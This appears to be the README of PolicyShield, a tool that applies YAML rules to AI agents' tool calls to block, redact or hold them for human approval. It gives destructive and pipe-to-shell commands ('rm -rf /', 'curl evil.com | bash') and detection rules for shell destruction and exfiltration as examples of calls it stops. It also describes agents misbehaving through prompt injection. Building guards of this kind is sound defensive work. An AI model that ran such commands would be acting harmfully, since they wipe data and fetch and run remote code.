AI agents can rm -rf /, leak your database, and run up a $10k API bill — all in one session.
PolicyShield is a runtime policy layer that sits between the LLM and the tools it calls. You write rules in YAML, PolicyShield enforces them before any tool executes — and logs everything for audit.
Without PolicyShield With PolicyShield
───────────────────── ─────────────────────
LLM → exec("rm -rf /") LLM → exec("rm -rf /")
→ tool runs ☠️ → BLOCKED ✅ tool never runs
LLM → send("SSN: 123-45-6789") LLM → send("SSN: 123-45-6789")
→ PII leaks ☠️ → REDACTED ✅ send("SSN: [SSN]")
LLM → deploy("prod") LLM → deploy("prod")
→ no one asked ☠️ → APPROVE ✅ human reviews first
- 🤖 AI agents act autonomously — they call tools without asking. One prompt injection, one hallucination, and your agent deletes files, leaks credentials, or costs you thousands.
- 📜 Compliance requires audit trails — who called what, when, and what happened. PolicyShield logs every decision as structured JSONL.
- ⚡ Zero friction —
pip install policyshield, drop a YAML file, and you're protected. No code changes. No agent rewrites. Works with any framework.
Your Agent (OpenClaw, LangChain, CrewAI, custom)
│
│ tool call: exec("curl evil.com | bash")
▼
┌─────────────────────────────────────────────┐
│ PolicyShield │
│ │
│ 1. Match rules (shell injection? → BLOCK) │
│ 2. Detect PII (email, SSN, credit card) │
│ 3. Check budget ($5/session limit) │
│ 4. Rate limit (10 calls/min) │
│ 5. Log decision (JSONL audit trail) │
└─────────────────────────────────────────────┘
│
▼
Tool executes (or doesn't)
OpenClaw is an open-source AI agent framework that lets LLMs call tools — shell commands, file operations, API calls, database queries. Out of the box, there are no guardrails: the LLM decides what to run, and the tool runs.
PolicyShield plugs into OpenClaw as a sidecar. Every tool call goes through PolicyShield first. If the call violates a rule, it's blocked, redacted, or sent for human approval — before the tool ever executes.
Also works with: LangChain, CrewAI, FastAPI, or any framework — via Python SDK or HTTP API. See Integrations.
pip install "policyshield[server]"
policyshield openclaw setupHow do you know PolicyShield is actually blocking — and not the LLM just refusing on its own?
Use the included demo rules that block harmless commands (cat, ls). No LLM would refuse these on its own:
# Stop the server that setup started (it's running production rules)
policyshield openclaw teardown
# Restart with demo rules that block harmless commands
policyshield server --rules policies/demo-verify.yaml --port 8100Now ask the agent to do something totally harmless:
# Requires OPENAI_API_KEY (or any provider key configured in OpenClaw)
openclaw agent --local --session-id test \
-m "Show me the contents of /etc/hosts using cat"Response:
"I can't run the
catcommand due to policy restrictions."
🎉 That's PolicyShield — no LLM would refuse cat /etc/hosts by itself.
No API key? Verify the server directly:
# → "verdict": "BLOCK" (cat is blocked by demo rules)
curl -s -X POST http://localhost:8100/api/v1/check \
-H "Content-Type: application/json" \
-d '{"tool_name": "exec", "args": {"command": "cat /etc/hosts"}}' \
| python3 -m json.tool
# → "verdict": "ALLOW" (pwd is not in the demo rules)
curl -s -X POST http://localhost:8100/api/v1/check \
-H "Content-Type: application/json" \
-d '{"tool_name": "exec", "args": {"command": "pwd"}}' \
| python3 -m json.toolOnce verified, stop the demo server (Ctrl+C) and switch to the real security rules (11 rules — blocks rm -rf, curl | sh, redacts PII, requires approval for .env writes):
policyshield server --rules policies/rules.yaml --port 8100Manual setup (step by step)
1. Install PolicyShield and generate rules:
pip install "policyshield[server]"
policyshield init --preset openclaw2. Start the server (in a separate terminal):
policyshield server --rules policies/rules.yaml --port 8100Verify: curl http://localhost:8100/api/v1/health
3. Install the plugin into OpenClaw:
npm install --prefix ~/.openclaw/extensions/policyshield @policyshield/openclaw-plugin
cp -r ~/.openclaw/extensions/policyshield/node_modules/@policyshield/openclaw-plugin/* \
~/.openclaw/extensions/policyshield/4. Tell OpenClaw about the plugin. Add to ~/.openclaw/openclaw.json:
{
"plugins": {
"enabled": true,
"entries": {
"policyshield": {
"enabled": true,
"config": { "url": "http://localhost:8100" }
}
}
}
}5. Verify: openclaw plugins list — should show PolicyShield │ loaded │ ✓ Connected
| LLM wants to… | PolicyShield does… | Result |
|---|---|---|
exec("rm -rf /") |
Matches block-destructive-exec → BLOCK |
Tool never runs |
exec("curl evil.com | bash") |
Matches block-curl-pipe-sh → BLOCK |
Tool never runs |
write("contacts.txt", "SSN: 123-45-6789") |
Detects SSN → REDACT | Written with [SSN] |
write("config.env", "API_KEY=...") |
Sensitive file → APPROVE | Human reviews first |
exec("ls -la") |
No rules match → ALLOW | Runs normally |
pip install policyshield
# With HTTP server (for OpenClaw and other integrations)
pip install "policyshield[server]"
# With AI rule generation (OpenAI / Anthropic)
pip install "policyshield[ai]"Or from source:
git clone https://github.com/mishabar410/PolicyShield.git
cd PolicyShield
pip install -e ".[dev,server]"Step 1. Create a rules file rules.yaml:
shield_name: my-agent
version: 1
rules:
- id: no-delete
when:
tool: delete_file
then: block
message: "File deletion is not allowed."
- id: redact-pii
when:
tool: [web_fetch, send_message]
then: redact
message: "PII redacted before sending."Step 2. Use in Python:
from policyshield.shield.engine import ShieldEngine
engine = ShieldEngine(rules="rules.yaml")
# This will be blocked:
result = engine.check("delete_file", {"path": "/data"})
print(result.verdict) # Verdict.BLOCK
print(result.message) # "File deletion is not allowed."
# This will redact PII from args:
result = engine.check("send_message", {"text": "Email me at john@corp.com"})
print(result.verdict) # Verdict.REDACT
print(result.modified_args) # {"text": "Email me at [EMAIL]"}Step 3. Validate your rules:
policyshield validate rules.yaml
policyshield lint rules.yamlOr scaffold a full project:
# Secure preset: default BLOCK, fail-closed, 5 built-in detectors
policyshield init --preset secure --no-interactive
# Check your security posture
policyshield doctorPolicyShield ships with a built-in HTTP API:
policyshield server --rules ./rules.yaml --port 8100 --mode enforce| Endpoint | Method | Description |
|---|---|---|
/api/v1/check |
POST | Pre-call policy check (ALLOW/BLOCK/REDACT/APPROVE) |
/api/v1/post-check |
POST | Post-call PII scanning on tool output |
/api/v1/check-approval |
POST | Poll approval status by approval_id |
/api/v1/respond-approval |
POST | Approve or deny a pending request |
/api/v1/pending-approvals |
GET | List all pending approval requests |
/api/v1/health |
GET | Health check with rules count and mode |
/api/v1/status |
GET | Server status (running, killed, mode, version) |
/api/v1/constraints |
GET | Human-readable policy summary for LLM context |
/api/v1/reload |
POST | Hot-reload rules from disk |
/api/v1/kill |
POST | Emergency kill switch — block ALL tool calls |
/api/v1/resume |
POST | Deactivate kill switch — resume normal operation |
/healthz · /api/v1/livez |
GET | Liveness probe (K8s-ready) |
/readyz · /api/v1/readyz |
GET | Readiness probe (rules loaded, backend healthy) |
/metrics |
GET | Prometheus metrics (per-tool, PII, approvals) |
docker build -f Dockerfile.server -t policyshield-server .
docker run -p 8100:8100 -v ./rules.yaml:/app/rules.yaml policyshield-serverrules:
# Block by tool name
- id: no-destructive-shell
when:
tool: exec
args_match:
command: { regex: "rm\\s+-rf|mkfs|dd\\s+if=" }
then: block
severity: critical
# Block multiple tools at once
- id: no-external-pii
when:
tool: [web_fetch, web_search, send_email]
then: redact
# Human approval required
- id: approve-file-delete
when:
tool: delete_file
then: approve
approval_strategy: per_rule
# Session-based conditions
- id: rate-limit-exec
when:
tool: exec
session:
tool_count.exec: { gt: 60 }
then: block
message: "exec rate limit exceeded"
# Chain rule: detect data exfiltration
- id: anti-exfiltration
when:
tool: send_email
chain:
- tool: read_database
within_seconds: 120
then: block
severity: critical
message: "Potential data exfiltration: read_database → send_email"
# Rate limiting
rate_limits:
- tool: web_fetch
max_calls: 10
window_seconds: 60
per_session: true
# Custom PII patterns
pii_patterns:
- name: EMPLOYEE_ID
pattern: "EMP-\\d{6}"Built-in PII detection: EMAIL, PHONE, CREDIT_CARD, SSN, IBAN, IP, PASSPORT, DOB + custom patterns.
| Category | What you get |
|---|---|
| YAML DSL | Declarative rules with regex, glob, exact match, session conditions |
| Verdicts | ALLOW · BLOCK · REDACT · APPROVE (human-in-the-loop) |
| PII Detection | EMAIL, PHONE, CREDIT_CARD, SSN, IBAN, IP, PASSPORT, DOB + custom patterns |
| Built-in Detectors | Path traversal, shell injection, SQL injection, SSRF, URL schemes — zero-config |
| Kill Switch | policyshield kill / POST /api/v1/kill — block ALL calls instantly |
| Chain Rules | Temporal conditions (when.chain) — detect multi-step attack patterns |
| Rate Limiting | Per-tool, per-session, global, and adaptive (burst detection) rate limiting |
| Approval Flow | InMemory, Telegram, and Slack backends with circuit breaker and health checks |
| Hot Reload | File-watcher auto-reloads rules on change |
| Trace & Audit | JSONL log, search, stats, violations, CSV/HTML export, rotation & retention |
| Idempotency | X-Idempotency-Key header support for safe retries |
| Category | What you get |
|---|---|
| Python SDK | PolicyShieldClient + AsyncPolicyShieldClient — typed check, kill, resume, reload |
| TypeScript SDK | PolicyShieldClient in @policyshield/openclaw-plugin — check, kill, resume, waitForApproval |
@shield() decorator |
Wrap any function with policy enforcement (sync + async) |
| MCP Proxy | Transparent proxy for MCP tool calls through PolicyShield |
| HTTP Server | FastAPI server with TLS, API rate limiting, OpenAPI tags, and 13 REST endpoints |
| OpenClaw Plugin | Native plugin with before/after hooks and policy injection |
| LangChain / CrewAI | Adapters for LangChain BaseTool and CrewAI tools |
| Docker | Container-ready with Dockerfile.server and docker-compose |
| Category | What you get |
|---|---|
| Quickstart Wizard | policyshield quickstart — interactive setup with preset selection |
| Doctor | policyshield doctor — 10-check health scan with A-F security grading |
| Dry-Run CLI | policyshield check --tool <name> --rules rules.yaml — one-shot check |
| Auto-Rules | policyshield generate-rules --from-openclaw — zero-config rule generation |
| Role Presets | coding-agent, data-analyst, customer-support — ready-made rule sets |
| Rule Testing | YAML test cases for policies (policyshield test) |
| Rule Linter | Static analysis: 7 checks + multi-file validation + dead rule detection |
| Replay & Simulation | Re-run JSONL traces against new rules (policyshield replay) |
| ENV Config | Full 12-factor: 31 POLICYSHIELD_* env vars for all settings |
Advanced features (shadow mode, canary, dashboards, OTel, etc.)
| Category | What you get |
|---|---|
| Rule Composition | include: / extends: for rule inheritance and modularity |
| Plugin System | Extensible detector API — register custom detectors without forking |
| Budget Caps | USD-based per-session and per-hour cost limits |
| Shadow Mode | Test new rules in production (dual-path evaluation, no blocking) |
| Canary Deployments | Roll out rules to N% of sessions, auto-promote after duration |
| Dynamic Rules | Fetch rules from HTTP/HTTPS with periodic refresh |
| OpenTelemetry | OTLP export to Jaeger/Grafana (spans + metrics) |
| AI Rule Writer | Generate YAML rules from natural language (policyshield generate) |
| Cost Estimator | Token/dollar cost estimation per tool call and model |
| Alert Engine | 5 condition types with Console, Webhook, Slack, Telegram backends |
| Dashboard | FastAPI REST API + WebSocket live stream + dark-themed SPA |
| Prometheus | /metrics endpoint with per-tool, PII, and approval labels + Grafana preset |
| Compliance Reports | HTML reports: verdicts, violations, PII stats, rule coverage |
| Incident Timeline | Chronological session timeline for post-mortems |
| Config Migration | policyshield migrate — auto-migrate YAML between versions |
| Retry/Backoff | Generic async retry with exponential backoff for approval notifications |
from policyshield.sdk.client import PolicyShieldClient
# Connect to PolicyShield server
with PolicyShieldClient("http://localhost:8100") as client:
result = client.check("exec_command", {"cmd": "rm -rf /"})
print(result.verdict) # BLOCK
print(result.message)
# Admin operations
client.kill("Incident response")
client.resume()
client.reload()
# Post-call PII scan
pii = client.post_check("send_email", "SSN: 123-45-6789")from policyshield.decorators import shield
from policyshield.shield.engine import ShieldEngine
engine = ShieldEngine(rules="rules.yaml")
@shield(engine, tool_name="delete_file")
def delete_file(path: str):
os.remove(path) # ← only runs if PolicyShield allows
@shield(engine, tool_name="exec_command", on_block="return_none")
async def exec_cmd(cmd: str):
return subprocess.run(cmd) # ← returns None if blockedfrom policyshield.sdk.client import AsyncPolicyShieldClient
async with AsyncPolicyShieldClient("http://localhost:8100") as client:
result = await client.check("send_email", {"to": "admin@corp.com"})# LangChain
from policyshield.integrations.langchain import PolicyShieldTool, shield_all_tools
safe_tools = shield_all_tools([tool1, tool2], engine)
# CrewAI
from policyshield.integrations.crewai import shield_crewai_tools
safe_tools = shield_crewai_tools([tool1, tool2], engine)# Setup & Init
policyshield quickstart # Interactive setup wizard
policyshield init --preset secure # Initialize with preset rules
policyshield doctor # 10-check health scan (A-F grading)
# Rules
policyshield validate ./policies/ # Validate rules
policyshield lint ./policies/rules.yaml # Static analysis (7 checks)
policyshield test ./policies/ # Run YAML test cases
# Dry-run check (no server needed)
policyshield check --tool exec_command --rules rules.yaml
policyshield check --tool send_email --rules rules.yaml --json
# Server
policyshield server --rules ./rules.yaml # Start HTTP server
policyshield server --rules ./rules.yaml --port 8100 --mode audit
policyshield server --rules ./rules.yaml --tls-cert cert.pem --tls-key key.pem
# Traces & Observability
policyshield trace show ./traces/trace.jsonl
policyshield trace violations ./traces/trace.jsonl
policyshield trace stats --dir ./traces/ --format json
policyshield trace search --tool exec --verdict BLOCK
policyshield trace cost --dir ./traces/ --model gpt-4o
policyshield trace export ./traces/trace.jsonl -f html
policyshield trace dashboard --port 8000 --prometheus
# Replay & Simulation
policyshield replay ./traces/trace.jsonl --rules ./new-rules.yaml --changed-only
policyshield simulate --rule new_rule.yaml --tool exec --args '{"cmd":"ls"}'
# Rule Generation
policyshield generate --template --tools delete_file send_email -o rules.yaml
policyshield generate "Block all file deletions" # AI (requires OPENAI_API_KEY)
policyshield generate-rules --from-openclaw --url http://localhost:3000
# Reports
policyshield report --traces ./traces/ --format html
policyshield incident session_abc123 --format html
# Operations
policyshield kill --port 8100 --reason "Incident response"
policyshield resume --port 8100
policyshield migrate --from 0.11 --to 1.0 rules.yaml
# OpenClaw integration
policyshield openclaw setup
policyshield openclaw teardown
policyshield openclaw status# Run the HTTP server
docker build -f Dockerfile.server -t policyshield-server .
docker run -p 8100:8100 -v ./rules:/app/rules policyshield-server
# Validate rules
docker compose run policyshield validate policies/
# Lint rules
docker compose run lint
# Run tests
docker compose run test| Example | Description |
|---|---|
langchain_demo.py |
LangChain tool wrapping |
async_demo.py |
Async engine usage |
standalone_check.py |
Standalone check without server |
fastapi_middleware.py |
FastAPI middleware integration |
openclaw_rules.yaml |
OpenClaw preset rules (11 rules) |
chain_rules.yaml |
Chain rule examples (anti-exfiltration, retry storm) |
policies/ |
Production-ready rule sets (security, compliance, full) |
docker_compose/ |
Docker Compose deployment example |
| Preset | Default | Description |
|---|---|---|
strict |
BLOCK | Maximum restriction — allow only explicitly permitted tools |
permissive |
ALLOW | Minimum restriction — block only dangerous tools |
minimal |
ALLOW | Bare minimum rules |
coding-agent |
BLOCK | Blocks exec/delete, approves writes, allows reads |
data-analyst |
BLOCK | Allows SELECT SQL, blocks network/exec, approves writes |
customer-support |
BLOCK | CRM reads allowed, account changes need approval |
| Pack | Rules | Focus |
|---|---|---|
gdpr.yaml |
8 | EU data protection, cross-border transfers |
hipaa.yaml |
9 | PHI protection, patient record safety |
pci-dss.yaml |
9 | Cardholder data, payment gateway enforcement |
How does PolicyShield compare to alternatives? See the Comparison page.
Measured on commodity hardware (Apple M-series, Python 3.13). Target: <5ms sync, <10ms async.
| Operation | p50 | p99 | Target |
|---|---|---|---|
| Sync check (ALLOW) | 0.01ms | 0.01ms | <5ms ✅ |
| Sync check (BLOCK) | 0.01ms | 0.01ms | <5ms ✅ |
| Async check | 0.05ms | 0.10ms | <10ms ✅ |
Run benchmarks yourself:
pytest tests/test_benchmark.py -m benchmark -v -s| Problem | Solution |
|---|---|
Connection refused on plugin install |
Start PolicyShield server first: policyshield server --rules rules.yaml |
| Server starts but plugin gets timeouts | Check port matches — default is 8100. Configure in OpenClaw: openclaw config set plugins.policyshield.url http://localhost:8100 |
| Rules not reloading after edit | Hot-reload watches the file passed to --rules. Or call POST /api/v1/reload manually |
policyshield: command not found |
Install with server extra: pip install "policyshield[server]" |
| PII not detected in non-English text | Current PII detector is regex-based (L0). RU patterns (INN, SNILS, passport) are supported. NER-based L1 detection is on the roadmap |
For OpenClaw-specific issues, see the full integration guide. For upgrading between versions, see the Compatibility & Migration Guide.
git clone https://github.com/mishabar410/PolicyShield.git
cd PolicyShield
python -m venv .venv && source .venv/bin/activate
pip install -e ".[dev,server]"
pytest tests/ -v # 1226+ tests
ruff check policyshield/ tests/ # Lint
ruff format --check policyshield/ tests/ # Format check
mypy policyshield/ # Type checking📖 Documentation: mishabar410.github.io/PolicyShield
